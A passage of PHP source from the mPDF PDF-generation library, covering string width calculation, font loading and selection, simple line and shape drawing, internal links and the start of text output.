		$unicode = $this->UTF8StringToArray($c, $addSubset);
		$char = $unicode[0];
		/* -- CJK-FONTS -- */
		if ($this->CurrentFont['type'] == 'Type0') { // CJK Adobe fonts
			if ($char == 173) {
				return 0;
			} // Soft Hyphens
			elseif (isset($this->CurrentFont['cw'][$char])) {
				$w+=$this->CurrentFont['cw'][$char];
			} elseif (isset($this->CurrentFont['MissingWidth'])) {
				$w += $this->CurrentFont['MissingWidth'];
			} else {
				$w += 500;
			}
		} else {
			/* -- END CJK-FONTS -- */
			if ($char == 173) {
				return 0;
			} // Soft Hyphens
			elseif (($this->textvar & TextVars::FC_SMALLCAPS) && isset($this->upperCase[$char])) { // mPDF 5.7.1
				$charw = $this->_getCharWidth($this->CurrentFont['cw'], $this->upperCase[$char]);
				if ($charw !== false) {
					$charw = $charw * $this->smCapsScale * $this->smCapsStretch / 100;
					$w+=$charw;
				} elseif (isset($this->CurrentFont['desc']['MissingWidth'])) {
					$w += $this->CurrentFont['desc']['MissingWidth'];
				} elseif (isset($this->CurrentFont['MissingWidth'])) {
					$w += $this->CurrentFont['MissingWidth'];
				} else {
					$w += 500;
				}
			} else {
				$charw = $this->_getCharWidth($this->CurrentFont['cw'], $char);
				if ($charw !== false) {
					$w+=$charw;
				} elseif (isset($this->CurrentFont['desc']['MissingWidth'])) {
					$w += $this->CurrentFont['desc']['MissingWidth'];
				} elseif (isset($this->CurrentFont['MissingWidth'])) {
					$w += $this->CurrentFont['MissingWidth'];
				} else {
					$w += 500;
				}
			}
		} // *CJK-FONTS*
		$w *= ($this->FontSize / 1000);
		if ($this->minwSpacing || $this->fixedlSpacing) {
			if ($c == ' ') {
				$nb_spaces = 1;
			} else {
				$nb_spaces = 0;
			}
			$w += $this->fixedlSpacing + ($nb_spaces * $this->minwSpacing);
		}
		return ($w);
	}

	function GetCharWidth($c, $addSubset = true)
	{
		if (!$this->usingCoreFont) {
			return $this->GetCharWidthNonCore($c, $addSubset);
		} else {
			return $this->GetCharWidthCore($c);
		}
	}

	function GetStringWidth($s, $addSubset = true, $OTLdata = false, $textvar = 0, $includeKashida = false)
	{
	// mPDF 5.7.1
		// Get width of a string in the current font
		$s = (string) $s;
		$cw = &$this->CurrentFont['cw'];
		$w = 0;
		$kerning = 0;
		$lastchar = 0;
		$nb_carac = 0;
		$nb_spaces = 0;
		$kashida = 0;
		// mPDF ITERATION
		if ($this->iterationCounter) {
			$s = preg_replace('/{iteration ([a-zA-Z0-9_]+)}/', '\\1', $s);
		}
		if (!$this->usingCoreFont) {
			$discards = substr_count($s, "\xc2\xad"); // mPDF 6 soft hyphens [U+00AD]
			$unicode = $this->UTF8StringToArray($s, $addSubset);
			if ($this->minwSpacing || $this->fixedlSpacing) {
				$nb_spaces = mb_substr_count($s, ' ', $this->mb_enc);
				$nb_carac = count($unicode) - $discards; // mPDF 6
				// mPDF 5.7.1
				// Use GPOS OTL
				if (isset($this->CurrentFont['useOTL']) && $this->CurrentFont['useOTL']) {
					if (isset($OTLdata['group']) && $OTLdata['group']) {
						$nb_carac -= substr_count($OTLdata['group'], 'M');
					}
				}
			}
			/* -- CJK-FONTS -- */
			if ($this->CurrentFont['type'] == 'Type0') { // CJK Adobe fonts
				foreach ($unicode as $char) {
					if ($char == 0x00AD) {
						continue;
					} // mPDF 6 soft hyphens [U+00AD]
					if (isset($cw[$char])) {
						$w+=$cw[$char];
					} elseif (isset($this->CurrentFont['MissingWidth'])) {
						$w += $this->CurrentFont['MissingWidth'];
					} else {
						$w += 500;
					}
				}
			} else {
				/* -- END CJK-FONTS -- */
				foreach ($unicode as $i => $char) {
					if ($char == 0x00AD) {
						continue;
					} // mPDF 6 soft hyphens [U+00AD]
					if (($textvar & TextVars::FC_SMALLCAPS) && isset($this->upperCase[$char])) {
						$charw = $this->_getCharWidth($cw, $this->upperCase[$char]);
						if ($charw !== false) {
							$charw = $charw * $this->smCapsScale * $this->smCapsStretch / 100;
							$w+=$charw;
						} elseif (isset($this->CurrentFont['desc']['MissingWidth'])) {
							$w += $this->CurrentFont['desc']['MissingWidth'];
						} elseif (isset($this->CurrentFont['MissingWidth'])) {
							$w += $this->CurrentFont['MissingWidth'];
						} else {
							$w += 500;
						}
					} else {
						$charw = $this->_getCharWidth($cw, $char);
						if ($charw !== false) {
							$w+=$charw;
						} elseif (isset($this->CurrentFont['desc']['MissingWidth'])) {
							$w += $this->CurrentFont['desc']['MissingWidth'];
						} elseif (isset($this->CurrentFont['MissingWidth'])) {
							$w += $this->CurrentFont['MissingWidth'];
						} else {
							$w += 500;
						}
						// mPDF 5.7.1
						// Use GPOS OTL
						// ...GetStringWidth...
						if (isset($this->CurrentFont['useOTL']) && ($this->CurrentFont['useOTL'] & 0xFF) && !empty($OTLdata)) {
							if (isset($OTLdata['GPOSinfo'][$i]['wDir']) && $OTLdata['GPOSinfo'][$i]['wDir'] == 'RTL') {
								if (isset($OTLdata['GPOSinfo'][$i]['XAdvanceR']) && $OTLdata['GPOSinfo'][$i]['XAdvanceR']) {
									$w += $OTLdata['GPOSinfo'][$i]['XAdvanceR'] * 1000 / $this->CurrentFont['unitsPerEm'];
								}
							} else {
								if (isset($OTLdata['GPOSinfo'][$i]['XAdvanceL']) && $OTLdata['GPOSinfo'][$i]['XAdvanceL']) {
									$w += $OTLdata['GPOSinfo'][$i]['XAdvanceL'] * 1000 / $this->CurrentFont['unitsPerEm'];
								}
							}
							// Kashida from GPOS
							// Kashida is set as an absolute length value (already set as a proportion based on useKashida %)
							if ($includeKashida && isset($OTLdata['GPOSinfo'][$i]['kashida_space']) && $OTLdata['GPOSinfo'][$i]['kashida_space']) {
								$kashida += $OTLdata['GPOSinfo'][$i]['kashida_space'];
							}
						}
						if (($textvar & TextVars::FC_KERNING) && $lastchar) {
							if (isset($this->CurrentFont['kerninfo'][$lastchar][$char])) {
								$kerning += $this->CurrentFont['kerninfo'][$lastchar][$char];
							}
						}
						$lastchar = $char;
					}
				}
			} // *CJK-FONTS*
		} else {
			if ($this->FontFamily != 'csymbol' && $this->FontFamily != 'czapfdingbats') {
				$s = str_replace(chr(173), '', $s);
			}
			$nb_carac = $l = strlen($s);
			if ($this->minwSpacing || $this->fixedlSpacing) {
				$nb_spaces = substr_count($s, ' ');
			}
			for ($i = 0; $i < $l; $i++) {
				if (($textvar & TextVars::FC_SMALLCAPS) && isset($this->upperCase[ord($s[$i])])) {  // mPDF 5.7.1
					$charw = $cw[chr($this->upperCase[ord($s[$i])])];
					if ($charw !== false) {
						$charw = $charw * $this->smCapsScale * $this->smCapsStretch / 100;
						$w+=$charw;
					}
				} elseif (isset($cw[$s[$i]])) {
					$w += $cw[$s[$i]];
				} elseif (isset($cw[ord($s[$i])])) {
					$w += $cw[ord($s[$i])];
				}
				if (($textvar & TextVars::FC_KERNING) && $i > 0) { // mPDF 5.7.1
					if (isset($this->CurrentFont['kerninfo'][$s[($i - 1)]][$s[$i]])) {
						$kerning += $this->CurrentFont['kerninfo'][$s[($i - 1)]][$s[$i]];
					}
				}
			}
		}
		unset($cw);
		if ($textvar & TextVars::FC_KERNING) {
			$w += $kerning;
		} // mPDF 5.7.1
		$w *= ($this->FontSize / 1000);
		$w += (($nb_carac + $nb_spaces) * $this->fixedlSpacing) + ($nb_spaces * $this->minwSpacing);
		$w += $kashida / Mpdf::SCALE;

		return ($w);
	}

	function SetLineWidth($width)
	{
		// Set line width
		$this->LineWidth = $width;
		$lwout = (sprintf('%.3F w', $width * Mpdf::SCALE));
		if ($this->page > 0 && ((isset($this->pageoutput[$this->page]['LineWidth']) && $this->pageoutput[$this->page]['LineWidth'] != $lwout) || !isset($this->pageoutput[$this->page]['LineWidth']))) {
			$this->writer->write($lwout);
		}
		$this->pageoutput[$this->page]['LineWidth'] = $lwout;
	}

	function Line($x1, $y1, $x2, $y2)
	{
		// Draw a line
		$this->writer->write(sprintf('%.3F %.3F m %.3F %.3F l S', $x1 * Mpdf::SCALE, ($this->h - $y1) * Mpdf::SCALE, $x2 * Mpdf::SCALE, ($this->h - $y2) * Mpdf::SCALE));
	}

	function Arrow($x1, $y1, $x2, $y2, $headsize = 3, $fill = 'B', $angle = 25)
	{
		// F == fill // S == stroke // B == stroke and fill
		// angle = splay of arrowhead - 1 - 89 degrees
		if ($fill == 'F') {
			$fill = 'f';
		} elseif ($fill == 'FD' or $fill == 'DF' or $fill == 'B') {
			$fill = 'B';
		} else {
			$fill = 'S';
		}
		$a = atan2(($y2 - $y1), ($x2 - $x1));
		$b = $a + deg2rad($angle);
		$c = $a - deg2rad($angle);
		$x3 = $x2 - ($headsize * cos($b));
		$y3 = $this->h - ($y2 - ($headsize * sin($b)));
		$x4 = $x2 - ($headsize * cos($c));
		$y4 = $this->h - ($y2 - ($headsize * sin($c)));

		$x5 = $x3 - ($x3 - $x4) / 2; // mid point of base of arrowhead - to join arrow line to
		$y5 = $y3 - ($y3 - $y4) / 2;

		$s = '';
		$s .= sprintf('%.3F %.3F m %.3F %.3F l S', $x1 * Mpdf::SCALE, ($this->h - $y1) * Mpdf::SCALE, $x5 * Mpdf::SCALE, $y5 * Mpdf::SCALE);
		$this->writer->write($s);

		$s = '';
		$s .= sprintf('%.3F %.3F m %.3F %.3F l %.3F %.3F l %.3F %.3F l %.3F %.3F l ', $x5 * Mpdf::SCALE, $y5 * Mpdf::SCALE, $x3 * Mpdf::SCALE, $y3 * Mpdf::SCALE, $x2 * Mpdf::SCALE, ($this->h - $y2) * Mpdf::SCALE, $x4 * Mpdf::SCALE, $y4 * Mpdf::SCALE, $x5 * Mpdf::SCALE, $y5 * Mpdf::SCALE);
		$s .= $fill;
		$this->writer->write($s);
	}

	function Rect($x, $y, $w, $h, $style = '')
	{
		// Draw a rectangle
		if ($style == 'F') {
			$op = 'f';
		} elseif ($style == 'FD' or $style == 'DF') {
			$op = 'B';
		} else {
			$op = 'S';
		}
		$this->writer->write(sprintf('%.3F %.3F %.3F %.3F re %s', $x * Mpdf::SCALE, ($this->h - $y) * Mpdf::SCALE, $w * Mpdf::SCALE, -$h * Mpdf::SCALE, $op));
	}

	function AddFontDirectory($directory)
	{
		$this->fontDir[] = $directory;
		$this->fontFileFinder->setDirectories($this->fontDir);
	}

	function AddFont($family, $style = '')
	{
		if (empty($family)) {
			return;
		}

		$family = strtolower($family);
		$style = strtoupper($style);
		$style = str_replace('U', '', $style);

		if ($style == 'IB') {
			$style = 'BI';
		}

		$fontkey = $family . $style;

		// check if the font has been already added
		if (isset($this->fonts[$fontkey])) {
			return;
		}

		/* -- CJK-FONTS -- */
		if (in_array($family, $this->available_CJK_fonts)) {
			if (empty($this->Big5_widths)) {
				require __DIR__ . '/../data/CJKdata.php';
			}
			$this->AddCJKFont($family); // don't need to add style
			return;
		}
		/* -- END CJK-FONTS -- */

		if ($this->usingCoreFont) {
			throw new \Mpdf\MpdfException("mPDF Error - problem with Font management");
		}

		$stylekey = $style;
		if (!$style) {
			$stylekey = 'R';
		}

		if (!isset($this->fontdata[$family][$stylekey]) || !$this->fontdata[$family][$stylekey]) {
			throw new \Mpdf\MpdfException(sprintf('Font "%s%s%s" is not supported', $family, $style ? ' - ' : '', $style));
		}

		/* Setup defaults */
		$font = [
			'name' => '',
			'type' => '',
			'desc' => '',
			'panose' => '',
			'unitsPerEm' => '',
			'up' => '',
			'ut' => '',
			'strs' => '',
			'strp' => '',
			'sip' => false,
			'smp' => false,
			'useOTL' => 0,
			'fontmetrics' => '',
			'haskerninfo' => false,
			'haskernGPOS' => false,
			'hassmallcapsGSUB' => false,
			'BMPselected' => false,
			'GSUBScriptLang' => [],
			'GSUBFeatures' => [],
			'GSUBLookups' => [],
			'GPOSScriptLang' => [],
			'GPOSFeatures' => [],
			'GPOSLookups' => [],
			'rtlPUAstr' => '',
		];

		$fontCacheFilename = $fontkey . '.mtx.json';
		if ($this->fontCache->jsonHas($fontCacheFilename)) {
			$font = $this->fontCache->jsonLoad($fontCacheFilename);
		}

		$ttffile = $this->fontFileFinder->findFontFile($this->fontdata[$family][$stylekey]);
		$ttfstat = stat($ttffile);

		$TTCfontID = isset($this->fontdata[$family]['TTCfontID'][$stylekey]) ? isset($this->fontdata[$family]['TTCfontID'][$stylekey]) : 0;
		$fontUseOTL = isset($this->fontdata[$family]['useOTL']) ? $this->fontdata[$family]['useOTL'] : false;
		$BMPonly = in_array($family, $this->BMPonly) ? true : false;

		$regenerate = false;
		if ($BMPonly && !$font['BMPselected']) {
			$regenerate = true;
		} elseif (!$BMPonly && $font['BMPselected']) {
			$regenerate = true;
		}

		if ($fontUseOTL && $font['useOTL'] != $fontUseOTL) {
			$regenerate = true;
			$font['useOTL'] = $fontUseOTL;
		} elseif (!$fontUseOTL && $font['useOTL']) {
			$regenerate = true;
			$font['useOTL'] = 0;
		}

		if ($this->fontDescriptor != $font['fontmetrics']) {
			$regenerate = true;
		} // mPDF 6

		if (empty($font['name']) || $font['originalsize'] != $ttfstat['size'] || $regenerate) {
			$generator = new MetricsGenerator($this->fontCache, $this->fontDescriptor);

			$generator->generateMetrics(
				$ttffile,
				$ttfstat,
				$fontkey,
				$TTCfontID,
				$this->debugfonts,
				$BMPonly,
				$font['useOTL'],
				$fontUseOTL
			);

			$font = $this->fontCache->jsonLoad($fontCacheFilename);
			$cw = $this->fontCache->load($fontkey . '.cw.dat');
			$glyphIDtoUni = $this->fontCache->load($fontkey . '.gid.dat');
		} else {
			if ($this->fontCache->has($fontkey . '.cw.dat')) {
				$cw = $this->fontCache->load($fontkey . '.cw.dat');
			}

			if ($this->fontCache->has($fontkey . '.gid.dat')) {
				$glyphIDtoUni = $this->fontCache->load($fontkey . '.gid.dat');
			}
		}

		if (isset($this->fontdata[$family]['sip-ext']) && $this->fontdata[$family]['sip-ext']) {
			$sipext = $this->fontdata[$family]['sip-ext'];
		} else {
			$sipext = '';
		}

		// Override with values from config_font.php
		if (isset($this->fontdata[$family]['Ascent']) && $this->fontdata[$family]['Ascent']) {
			$desc['Ascent'] = $this->fontdata[$family]['Ascent'];
		}
		if (isset($this->fontdata[$family]['Descent']) && $this->fontdata[$family]['Descent']) {
			$desc['Descent'] = $this->fontdata[$family]['Descent'];
		}
		if (isset($this->fontdata[$family]['Leading']) && $this->fontdata[$family]['Leading']) {
			$desc['Leading'] = $this->fontdata[$family]['Leading'];
		}

		$i = count($this->fonts) + $this->extraFontSubsets + 1;

		$this->fonts[$fontkey] = [
			'i' => $i,
			'name' => $font['name'],
			'type' => $font['type'],
			'desc' => $font['desc'],
			'panose' => $font['panose'],
			'unitsPerEm' => $font['unitsPerEm'],
			'up' => $font['up'],
			'ut' => $font['ut'],
			'strs' => $font['strs'],
			'strp' => $font['strp'],
			'cw' => $cw,
			'ttffile' => $ttffile,
			'fontkey' => $fontkey,
			'used' => false,
			'sip' => $font['sip'],
			'sipext' => $sipext,
			'smp' => $font['smp'],
			'TTCfontID' => $TTCfontID,
			'useOTL' => $fontUseOTL,
			'useKashida' => (isset($this->fontdata[$family]['useKashida']) ? $this->fontdata[$family]['useKashida'] : false),
			'GSUBScriptLang' => $font['GSUBScriptLang'],
			'GSUBFeatures' => $font['GSUBFeatures'],
			'GSUBLookups' => $font['GSUBLookups'],
			'GPOSScriptLang' => $font['GPOSScriptLang'],
			'GPOSFeatures' => $font['GPOSFeatures'],
			'GPOSLookups' => $font['GPOSLookups'],
			'rtlPUAstr' => $font['rtlPUAstr'],
			'glyphIDtoUni' => $glyphIDtoUni,
			'haskerninfo' => $font['haskerninfo'],
			'haskernGPOS' => $font['haskernGPOS'],
			'hassmallcapsGSUB' => $font['hassmallcapsGSUB'],
		];


		if (!$font['sip'] && !$font['smp']) {
			$subsetRange = range(32, 127);
			$this->fonts[$fontkey]['subset'] = array_combine($subsetRange, $subsetRange);
		} else {
			$this->fonts[$fontkey]['subsets'] = [0 => range(0, 127)];
			$this->fonts[$fontkey]['subsetfontids'] = [$i];
		}

		if ($font['haskerninfo']) {
			$this->fonts[$fontkey]['kerninfo'] = $font['kerninfo'];
		}

		$this->FontFiles[$fontkey] = [
			'length1' => $font['originalsize'],
			'type' => 'TTF',
			'ttffile' => $ttffile,
			'sip' => $font['sip'],
			'smp' => $font['smp'],
		];

		unset($cw);
	}

	function SetFont($family, $style = '', $size = 0, $write = true, $forcewrite = false)
	{
		$family = strtolower($family);

		if (!$this->onlyCoreFonts) {
			if ($family == 'sans' || $family == 'sans-serif') {
				$family = $this->sans_fonts[0];
			}
			if ($family == 'serif') {
				$family = $this->serif_fonts[0];
			}
			if ($family == 'mono' || $family == 'monospace') {
				$family = $this->mono_fonts[0];
			}
		}

		if (isset($this->fonttrans[$family]) && $this->fonttrans[$family]) {
			$family = $this->fonttrans[$family];
		}

		if ($family == '') {
			if ($this->FontFamily) {
				$family = $this->FontFamily;
			} elseif ($this->default_font) {
				$family = $this->default_font;
			} else {
				throw new \Mpdf\MpdfException("No font or default font set!");
			}
		}

		$this->ReqFontStyle = $style; // required or requested style - used later for artificial bold/italic

		if (($family == 'csymbol') || ($family == 'czapfdingbats') || ($family == 'ctimes') || ($family == 'ccourier') || ($family == 'chelvetica')) {
			if ($this->PDFA || $this->PDFX) {
				if ($family == 'csymbol' || $family == 'czapfdingbats') {
					throw new \Mpdf\MpdfException("Symbol and Zapfdingbats cannot be embedded in mPDF (required for PDFA1-b or PDFX/1-a).");
				}
				if ($family == 'ctimes' || $family == 'ccourier' || $family == 'chelvetica') {
					if (($this->PDFA && !$this->PDFAauto) || ($this->PDFX && !$this->PDFXauto)) {
						$this->PDFAXwarnings[] = "Core Adobe font " . ucfirst($family) . " cannot be embedded in mPDF, which is required for PDFA1-b or PDFX/1-a. (Embedded font will be substituted.)";
					}
					if ($family == 'chelvetica') {
						$family = 'sans';
					}
					if ($family == 'ctimes') {
						$family = 'serif';
					}
					if ($family == 'ccourier') {
						$family = 'mono';
					}
				}
				$this->usingCoreFont = false;
			} else {
				$this->usingCoreFont = true;
			}
			if ($family == 'csymbol' || $family == 'czapfdingbats') {
				$style = '';
			}
		} else {
			$this->usingCoreFont = false;
		}

		// mPDF 5.7.1
		if ($style) {
			$style = strtoupper($style);
			if ($style == 'IB') {
				$style = 'BI';
			}
		}
		if ($size == 0) {
			$size = $this->FontSizePt;
		}

		$fontkey = $family . $style;

		$stylekey = $style;
		if (!$stylekey) {
			$stylekey = "R";
		}

		if (!$this->onlyCoreFonts && !$this->usingCoreFont) {
			if (!isset($this->fonts[$fontkey]) || count($this->default_available_fonts) != count($this->available_unifonts)) { // not already added

				/* -- CJK-FONTS -- */
				if (in_array($fontkey, $this->available_CJK_fonts)) {
					if (!isset($this->fonts[$fontkey])) { // already added
						if (empty($this->Big5_widths)) {
							require __DIR__ . '/../data/CJKdata.php';
						}
						$this->AddCJKFont($family); // don't need to add style
					}
				} else { // Test to see if requested font/style is available - or substitute /* -- END CJK-FONTS -- */
					if (!in_array($fontkey, $this->available_unifonts)) {
						// If font[nostyle] exists - set it
						if (in_array($family, $this->available_unifonts)) {
							$style = '';
						} // elseif only one font available - set it (assumes if only one font available it will not have a style)
						elseif (count($this->available_unifonts) == 1) {
							$family = $this->available_unifonts[0];
							$style = '';
						} else {
							$found = 0;
							// else substitute font of similar type
							if (in_array($family, $this->sans_fonts)) {
								$i = array_intersect($this->sans_fonts, $this->available_unifonts);
								if (count($i)) {
									$i = array_values($i);
									// with requested style if possible
									if (!in_array(($i[0] . $style), $this->available_unifonts)) {
										$style = '';
									}
									$family = $i[0];
									$found = 1;
								}
							} elseif (in_array($family, $this->serif_fonts)) {
								$i = array_intersect($this->serif_fonts, $this->available_unifonts);
								if (count($i)) {
									$i = array_values($i);
									// with requested style if possible
									if (!in_array(($i[0] . $style), $this->available_unifonts)) {
										$style = '';
									}
									$family = $i[0];
									$found = 1;
								}
							} elseif (in_array($family, $this->mono_fonts)) {
								$i = array_intersect($this->mono_fonts, $this->available_unifonts);
								if (count($i)) {
									$i = array_values($i);
									// with requested style if possible
									if (!in_array(($i[0] . $style), $this->available_unifonts)) {
										$style = '';
									}
									$family = $i[0];
									$found = 1;
								}
							}

							if (!$found) {
								// set first available font
								$fs = $this->available_unifonts[0];
								preg_match('/^([a-z_0-9\-]+)([BI]{0,2})$/', $fs, $fas); // Allow "-"
								// with requested style if possible
								$ws = $fas[1] . $style;
								if (in_array($ws, $this->available_unifonts)) {
									$family = $fas[1]; // leave $style as is
								} elseif (in_array($fas[1], $this->available_unifonts)) {
									// or without style
									$family = $fas[1];
									$style = '';
								} else {
									// or with the style specified
									$family = $fas[1];
									$style = $fas[2];
								}
							}
						}
						$fontkey = $family . $style;
					}
				}
			}

			// try to add font (if not already added)
			$this->AddFont($family, $style);

			// Test if font is already selected
			if ($this->FontFamily == $family && $this->FontFamily == $this->currentfontfamily && $this->FontStyle == $style && $this->FontStyle == $this->currentfontstyle && $this->FontSizePt == $size && $this->FontSizePt == $this->currentfontsize && !$forcewrite) {
				return $family;
			}

			$fontkey = $family . $style;

			// Select it
			$this->FontFamily = $family;
			$this->FontStyle = $style;
			$this->FontSizePt = $size;
			$this->FontSize = $size / Mpdf::SCALE;
			$this->CurrentFont = &$this->fonts[$fontkey];
			if ($write) {
				$fontout = (sprintf('BT /F%d %.3F Tf ET', $this->CurrentFont['i'], $this->FontSizePt));
				if ($this->page > 0 && ((isset($this->pageoutput[$this->page]['Font']) && $this->pageoutput[$this->page]['Font'] != $fontout) || !isset($this->pageoutput[$this->page]['Font']))) {
					$this->writer->write($fontout);
				}
				$this->pageoutput[$this->page]['Font'] = $fontout;
			}

			// Added - currentfont (lowercase) used in HTML2PDF
			$this->currentfontfamily = $family;
			$this->currentfontsize = $size;
			$this->currentfontstyle = $style;
			$this->setMBencoding('UTF-8');
		} else {  // if using core fonts
			if ($this->PDFA || $this->PDFX) {
				throw new \Mpdf\MpdfException('Core Adobe fonts cannot be embedded in mPDF (required for PDFA1-b or PDFX/1-a) - cannot use option to use core fonts.');
			}
			$this->setMBencoding('windows-1252');

			// Test if font is already selected
			if (($this->FontFamily == $family) and ( $this->FontStyle == $style) and ( $this->FontSizePt == $size) && !$forcewrite) {
				return $family;
			}

			if (!isset($this->CoreFonts[$fontkey])) {
				if (in_array($family, $this->serif_fonts)) {
					$family = 'ctimes';
				} elseif (in_array($family, $this->mono_fonts)) {
					$family = 'ccourier';
				} else {
					$family = 'chelvetica';
				}
				$this->usingCoreFont = true;
				$fontkey = $family . $style;
			}

			if (!isset($this->fonts[$fontkey])) {
				// STANDARD CORE FONTS
				if (isset($this->CoreFonts[$fontkey])) {
					// Load metric file
					$file = $family;
					if ($family == 'ctimes' || $family == 'chelvetica' || $family == 'ccourier') {
						$file .= strtolower($style);
					}
					require __DIR__ . '/../data/font/' . $file . '.php';
					if (!isset($cw)) {
						throw new \Mpdf\MpdfException(sprintf('Could not include font metric file "%s"', $file));
					}
					$i = count($this->fonts) + $this->extraFontSubsets + 1;
					$this->fonts[$fontkey] = ['i' => $i, 'type' => 'core', 'name' => $this->CoreFonts[$fontkey], 'desc' => $desc, 'up' => $up, 'ut' => $ut, 'cw' => $cw];
					if ($this->useKerning && isset($kerninfo)) {
						$this->fonts[$fontkey]['kerninfo'] = $kerninfo;
					}
				} else {
					throw new \Mpdf\MpdfException(sprintf('Font %s not defined', $fontkey));
				}
			}

			// Test if font is already selected
			if (($this->FontFamily == $family) and ( $this->FontStyle == $style) and ( $this->FontSizePt == $size) && !$forcewrite) {
				return $family;
			}
			// Select it
			$this->FontFamily = $family;
			$this->FontStyle = $style;
			$this->FontSizePt = $size;
			$this->FontSize = $size / Mpdf::SCALE;
			$this->CurrentFont = &$this->fonts[$fontkey];
			if ($write) {
				$fontout = (sprintf('BT /F%d %.3F Tf ET', $this->CurrentFont['i'], $this->FontSizePt));
				if ($this->page > 0 && ((isset($this->pageoutput[$this->page]['Font']) && $this->pageoutput[$this->page]['Font'] != $fontout) || !isset($this->pageoutput[$this->page]['Font']))) {
					$this->writer->write($fontout);
				}
				$this->pageoutput[$this->page]['Font'] = $fontout;
			}
			// Added - currentfont (lowercase) used in HTML2PDF
			$this->currentfontfamily = $family;
			$this->currentfontsize = $size;
			$this->currentfontstyle = $style;
		}

		return $family;
	}

	function SetFontSize($size, $write = true)
	{
		// Set font size in points
		if ($this->FontSizePt == $size) {
			return;
		}
		$this->FontSizePt = $size;
		$this->FontSize = $size / Mpdf::SCALE;
		$this->currentfontsize = $size;
		if ($write) {
			$fontout = (sprintf('BT /F%d %.3F Tf ET', $this->CurrentFont['i'], $this->FontSizePt));
			// Edited mPDF 3.0
			if ($this->page > 0 && ((isset($this->pageoutput[$this->page]['Font']) && $this->pageoutput[$this->page]['Font'] != $fontout) || !isset($this->pageoutput[$this->page]['Font']))) {
				$this->writer->write($fontout);
			}
			$this->pageoutput[$this->page]['Font'] = $fontout;
		}
	}

	function AddLink()
	{
		// Create a new internal link
		$n = count($this->links) + 1;
		$this->links[$n] = [0, 0];
		return $n;
	}

	function SetLink($link, $y = 0, $page = -1)
	{
		// Set destination of internal link
		if ($y == -1) {
			$y = $this->y;
		}
		if ($page == -1) {
			$page = $this->page;
		}
		$this->links[$link] = [$page, $y];
	}

	function Link($x, $y, $w, $h, $link)
	{
		$l = [$x * Mpdf::SCALE, $this->hPt - $y * Mpdf::SCALE, $w * Mpdf::SCALE, $h * Mpdf::SCALE, $link];
		if ($this->keep_block_together) { // don't write yet
			return;
		} elseif ($this->table_rotate) { // *TABLES*
			$this->tbrot_Links[$this->page][] = $l; // *TABLES*
			return; // *TABLES*
		} // *TABLES*
		elseif ($this->kwt) {
			$this->kwt_Links[$this->page][] = $l;
			return;
		}

		if ($this->writingHTMLheader || $this->writingHTMLfooter) {
			$this->HTMLheaderPageLinks[] = $l;
			return;
		}
		// Put a link on the page
		$this->PageLinks[$this->page][] = $l;
		// Save cross-reference to Column buffer
		$ref = count($this->PageLinks[$this->page]) - 1; // *COLUMNS*
		$this->columnLinks[$this->CurrCol][(int) $this->x][(int) $this->y] = $ref; // *COLUMNS*
	}

	function Text($x, $y, $txt, $OTLdata = [], $textvar = 0, $aixextra = '', $coordsys = '', $return = false)
	{
		// Output (or return) a string
		// Called (internally) by Watermark() & _tableWrite() [rotated cells] & TableHeaderFooter() & WriteText()
		// Called also from classes/svg.php
		// Expects Font to be set
		// Expects input to be mb_encoded if necessary and RTL reversed & OTL processed
		// ARTIFICIAL BOLD AND ITALIC
		$s = 'q ';
		if ($this->falseBoldWeight && strpos($this->ReqFontStyle, "B") !== false && strpos($this->FontStyle, "B") === false) {
			$s .= '2 Tr 1 J 1 j ';
			$s .= sprintf('%.3F w ', ($this->FontSize / 130) * Mpdf::SCALE * $this->falseBoldWeight);
			$tc = strtoupper($this->TextColor); // change 0 0 0 rg to 0 0 0 RG
			if ($this->FillColor != $tc) {
				$s .= $tc . ' ';
			}  // stroke (outline) = same colour as text(fill)
		}
		if (strpos($this->ReqFontStyle, "I") !== false && strpos($this->FontStyle, "I") === false) {
			$aix = '1 0 0.261799 1 %.3F %.3F Tm';
		} else {
			$aix = '%.3F %.3F Td';
		}

		$aix = $aixextra . $aix;

		if ($this->ColorFlag) {
			$s .= $this->TextColor . ' ';
		}

		$this->CurrentFont['used'] = true;

		if ($this->usingCoreFont) {
			$txt2 = str_replace(chr(160), chr(32), $txt);
		} else {
			$txt2 = str_replace(chr(194) . chr(160), chr(32), $txt);
		}

		$px = $x;
		$py = $y;
		if ($coordsys != 'SVG') {
			$px = $x * Mpdf::SCALE;
			$py = ($this->h - $y) * Mpdf::SCALE;
		}


		/** ************** SIMILAR TO Cell() ************************ */

		// IF corefonts AND NOT SmCaps AND NOT Kerning
		// Just output text
		if ($this->usingCoreFont && !($textvar & TextVars::FC_SMALLCAPS) && !($textvar & TextVars::FC_KERNING)) {
			$txt2 = $this->writer->escape($txt2);
			$s .= sprintf('BT ' . $aix . ' (%s) Tj ET', $px, $py, $txt2);
		} // IF NOT corefonts [AND NO wordspacing] AND NOT SIP/SMP AND NOT SmCaps AND NOT Kerning AND NOT OTL
		// Just output text
		elseif (!$this->usingCoreFont && !($textvar & TextVars::FC_SMALLCAPS) && !($textvar & TextVars::FC_KERNING) && !(isset($this->CurrentFont['useOTL']) && ($this->CurrentFont['useOTL'] & 0xFF) && !empty($OTLdata['GPOSinfo']))) {
			// IF SIP/SMP
			if ($this->CurrentFont['sip'] || $this->CurrentFont['smp']) {
				$txt2 = $this->UTF8toSubset($txt2);
				$s .=sprintf('BT ' . $aix . ' %s Tj ET', $px, $py, $txt2);
			} // NOT SIP/SMP
			else {
				$txt2 = $this->writer->utf8ToUtf16BigEndian($txt2, false);
				$txt2 = $this->writer->escape($txt2);
				$s .=sprintf('BT ' . $aix . ' (%s) Tj ET', $px, $py, $txt2);
			}
		} // IF NOT corefonts [AND IS wordspacing] AND NOT SIP AND NOT SmCaps AND NOT Kerning AND NOT OTL
		// Not required here (cf. Cell() )
		// ELSE (IF SmCaps || Kerning || OTL) [corefonts or not corefonts; SIP or SMP or BMP]
		else {
			$s .= $this->applyGPOSpdf($txt2, $aix, $px, $py, $OTLdata, $textvar);
		}
		/*         * ************** END ************************ */

		$s .= ' ';

		if (($textvar & TextVars::FD_UNDERLINE) && $txt != '') { // mPDF 5.7.1
			$c = strtoupper($this->TextColor); // change 0 0 0 rg to 0 0 0 RG
			if ($this->FillColor != $c) {
				$s.= ' ' . $c . ' ';
			}
			if (isset($this->CurrentFont['up']) && $this->CurrentFont['up']) {
				$up = $this->CurrentFont['up'];
			} else {
				$up = -100;
			}
			$adjusty = (-$up / 1000 * $this->FontSize);
			if (isset($this->CurrentFont['ut']) && $this->CurrentFont['ut']) {
				$ut = $this->CurrentFont['ut'] / 1000 * $this->FontSize;
			} else {
				$ut = 60 / 1000 * $this->FontSize;
			}
